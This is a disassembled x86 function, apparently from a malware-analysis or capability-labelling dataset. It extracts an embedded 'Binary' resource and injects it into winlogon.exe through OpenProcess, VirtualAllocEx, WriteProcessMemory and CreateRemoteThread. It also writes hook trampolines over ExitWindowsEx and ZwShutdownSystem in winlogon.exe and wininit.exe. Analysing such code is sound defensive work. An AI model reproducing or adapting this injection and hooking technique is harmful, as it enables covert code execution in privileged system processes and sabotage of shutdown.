Function at 0x1020f290
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c8
push ebx
push esi
push edi
lea edi, [ebp - 0x588]
mov ecx, 0x162
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x1042cac0]
xor eax, ebp
mov dword [ebp - 4], eax
push str.HookShutdownSystem_or_HookExWindowsEx
call fcn.1013e508
add esp, 4
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x408]
push ecx
lea edx, [ebp - 0x3fc]
push edx
call fcn.1013836f
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x438]
push eax
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp esi, esp
call fcn.1013ca23
cmp dword [ebp - 0x438], 0
je 0x1020f5b6
mov esi, esp
push str.Binary
push 0x8d
mov eax, dword [0x10456798]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x444], eax
mov esi, esp
mov eax, dword [ebp - 0x444]
push eax
mov ecx, dword [0x10456798]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x450], eax
mov esi, esp
mov eax, dword [ebp - 0x444]
push eax
mov ecx, dword [0x10456798]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x45c], eax
mov esi, esp
mov eax, dword [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x3fc], 8
jb 0x1020f3ba
push str.winlogon.exe
call fcn.101382e8
add esp, 4
mov dword [ebp - 0x420], eax
jmp 0x1020f3cd
push 0x103c6d14
call fcn.101382e8
add esp, 4
mov dword [ebp - 0x420], eax
mov esi, esp
mov eax, dword [ebp - 0x420]
push eax
push 0
push 0x1f0fff
call dword [0x10417ed8]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0
jne 0x1020f439
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_OpenProcess64:_d
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
push 0x40
push 0x1000
mov eax, dword [ebp - 0x450]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x474]
push ecx
call dword [0x10417ed0]
add esp, 0x18
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x484]
or eax, dword [ebp - 0x480]
jne 0x1020f4bb
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_VirtualAllocEx64:_d
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x450]
push ecx
mov edx, dword [ebp - 0x468]
push edx
mov eax, dword [ebp - 0x480]
push eax
mov ecx, dword [ebp - 0x484]
push ecx
mov edx, dword [ebp - 0x474]
push edx
call dword [0x10417ed4]
add esp, 0x18
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1020f538
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_WriteProcessMemory64:_d
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
push 0
push 0
push 0
mov eax, dword [ebp - 0x480]
push eax
mov ecx, dword [ebp - 0x484]
push ecx
mov edx, dword [ebp - 0x474]
push edx
call dword [0x10417edc]
add esp, 0x18
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0
jne 0x1020f5b1
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_CreateRemoteThread64:_d
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020fe07
cmp dword [ebp - 0x3fc], 8
jb 0x1020f9ef
mov esi, esp
push 0x103c6db8
mov edi, esp
push 0x103c6dc8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
add eax, 0x13
mov dword [ebp - 0x4a8], eax
mov esi, esp
push 0x103c6ed8
mov edi, esp
push 0x103c5c3c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x4b4], eax
mov esi, esp
mov eax, dword [ebp - 0x4b4]
push eax
mov ecx, dword [sym.imp.USER32.dll_ExitWindowsEx]
push ecx
push str.ExitWindowsEx_x__Sleep_x_r_n
lea edx, [ebp - 0x3f0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4c0], eax
jmp 0x1020f688
mov eax, dword [ebp - 0x4c0]
add eax, 4
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
cmp dword [eax], 0
jne 0x1020f6bb
mov eax, dword [ebp - 0x4c0]
cmp dword [eax + 0x10], 0
jne 0x1020f6bb
mov eax, dword [ebp - 0x4c0]
cmp dword [eax + 0x20], 0
jne 0x1020f6bb
mov eax, dword [ebp - 0x4c0]
cmp dword [eax + 0x30], 0
jne 0x1020f6bb
jmp 0x1020f6cc
mov eax, dword [ebp - 0x4c0]
add eax, 4
mov dword [ebp - 0x4c0], eax
jmp 0x1020f679
mov esi, esp
mov eax, dword [ebp - 0x4c0]
push eax
push str.i_x_r_n
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov byte [ebp - 0x4e8], 0xe8
mov byte [ebp - 0x4e7], 0
mov byte [ebp - 0x4e6], 0
mov byte [ebp - 0x4e5], 0
mov byte [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4c0]
sub eax, dword [ebp - 0x4a8]
sub eax, 5
mov ecx, 1
shl ecx, 0
mov dword [ebp + ecx - 0x4e8], eax
mov byte [ebp - 0x504], 0x60
mov byte [ebp - 0x503], 0x9c
mov byte [ebp - 0x502], 0x68
mov byte [ebp - 0x501], 0
mov byte [ebp - 0x500], 0
mov byte [ebp - 0x4ff], 0
mov byte [ebp - 0x4fe], 0
mov byte [ebp - 0x4fd], 0xe8
mov byte [ebp - 0x4fc], 0
mov byte [ebp - 0x4fb], 0
mov byte [ebp - 0x4fa], 0
mov byte [ebp - 0x4f9], 0
mov byte [ebp - 0x4f8], 0x9d
mov byte [ebp - 0x4f7], 0x61
mov byte [ebp - 0x4f6], 0xbf
mov byte [ebp - 0x4f5], 0
mov byte [ebp - 0x4f4], 0
mov byte [ebp - 0x4f3], 2
mov byte [ebp - 0x4f2], 0
mov byte [ebp - 0x4f1], 0xc3
mov eax, 1
imul ecx, eax, 3
mov dword [ebp + ecx - 0x504], 0x4c4b40
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x4c0]
sub eax, 0xc
mov ecx, 1
shl ecx, 3
mov dword [ebp + ecx - 0x504], eax
push str.winlogon.exe
call fcn.101382e8
add esp, 4
mov dword [ebp - 0x4cc], eax
mov esi, esp
mov eax, dword [ebp - 0x4cc]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
jne 0x1020f87c
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_OpenProcess_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020f8b0
mov esi, esp
mov eax, dword [ebp - 0x510]
push eax
push str.OpenProcess_x_r_n
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x4d8]
push eax
push 5
lea ecx, [ebp - 0x4e8]
push ecx
mov edx, dword [ebp - 0x4a8]
push edx
mov eax, dword [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1020f920
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_WriteProcessMemory_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020f94d
mov esi, esp
push str.success__WriteProcessMemory_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x4d8]
push eax
push 0x14
lea ecx, [ebp - 0x504]
push ecx
mov edx, dword [ebp - 0x4c0]
push edx
mov eax, dword [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1020f9bd
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_WriteProcessMemory_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020f9ea
mov esi, esp
push str.success__WriteProcessMemory_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020fe07
mov esi, esp
push str.ZwShutdownSystem
mov edi, esp
push 0x103c6f20
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x51c], eax
mov esi, esp
push 0x103c6ed8
mov edi, esp
push 0x103c5c3c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x528], eax
mov esi, esp
mov eax, dword [ebp - 0x528]
push eax
mov ecx, dword [ebp - 0x51c]
push ecx
push str.ZwShutdownSystem_x__Sleep_x_r_n
lea edx, [ebp - 0x3f0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x534], eax
jmp 0x1020faa5
mov eax, dword [ebp - 0x534]
add eax, 4
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
cmp dword [eax], 0
jne 0x1020fad8
mov eax, dword [ebp - 0x534]
cmp dword [eax + 0x10], 0
jne 0x1020fad8
mov eax, dword [ebp - 0x534]
cmp dword [eax + 0x20], 0
jne 0x1020fad8
mov eax, dword [ebp - 0x534]
cmp dword [eax + 0x30], 0
jne 0x1020fad8
jmp 0x1020fae9
mov eax, dword [ebp - 0x534]
add eax, 4
mov dword [ebp - 0x534], eax
jmp 0x1020fa96
mov esi, esp
mov eax, dword [ebp - 0x534]
push eax
push str.i_x_r_n
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov byte [ebp - 0x55c], 0xe8
mov byte [ebp - 0x55b], 0
mov byte [ebp - 0x55a], 0
mov byte [ebp - 0x559], 0
mov byte [ebp - 0x558], 0
mov eax, dword [ebp - 0x534]
sub eax, dword [ebp - 0x51c]
sub eax, 5
mov ecx, 1
shl ecx, 0
mov dword [ebp + ecx - 0x55c], eax
mov byte [ebp - 0x578], 0x60
mov byte [ebp - 0x577], 0x9c
mov byte [ebp - 0x576], 0x68
mov byte [ebp - 0x575], 0
mov byte [ebp - 0x574], 0
mov byte [ebp - 0x573], 0
mov byte [ebp - 0x572], 0
mov byte [ebp - 0x571], 0xe8
mov byte [ebp - 0x570], 0
mov byte [ebp - 0x56f], 0
mov byte [ebp - 0x56e], 0
mov byte [ebp - 0x56d], 0
mov byte [ebp - 0x56c], 0x9d
mov byte [ebp - 0x56b], 0x61
mov byte [ebp - 0x56a], 0xb8
mov byte [ebp - 0x569], 0x68
mov byte [ebp - 0x568], 1
mov byte [ebp - 0x567], 0
mov byte [ebp - 0x566], 0
mov byte [ebp - 0x565], 0xc3
mov eax, 1
imul ecx, eax, 3
mov dword [ebp + ecx - 0x578], 0x4c4b40
mov eax, dword [ebp - 0x528]
sub eax, dword [ebp - 0x534]
sub eax, 0xc
mov ecx, 1
shl ecx, 3
mov dword [ebp + ecx - 0x578], eax
push str.wininit.exe
call fcn.101382e8
add esp, 4
mov dword [ebp - 0x540], eax
mov esi, esp
mov eax, dword [ebp - 0x540]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0
jne 0x1020fc99
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_OpenProcess_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020fccd
mov esi, esp
mov eax, dword [ebp - 0x584]
push eax
push str.OpenProcess_x_r_n
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x54c]
push eax
push 5
lea ecx, [ebp - 0x55c]
push ecx
mov edx, dword [ebp - 0x51c]
push edx
mov eax, dword [ebp - 0x584]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1020fd3d
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_WriteProcessMemory_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020fd6a
mov esi, esp
push str.success__WriteProcessMemory_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x54c]
push eax
push 0x14
lea ecx, [ebp - 0x578]
push ecx
mov edx, dword [ebp - 0x534]
push edx
mov eax, dword [ebp - 0x584]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1020fdda
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
push str.fail_to_WriteProcessMemory_error_x_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
jmp 0x1020fe07
mov esi, esp
push str.success__WriteProcessMemory_r_n
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x3f0]
push eax
call fcn.1013e508
add esp, 4
push edx
mov ecx, ebp
push eax
lea edx, [0x1020fe38]
call fcn.1013bc63
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1013a69c
add esp, 0x7c8
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret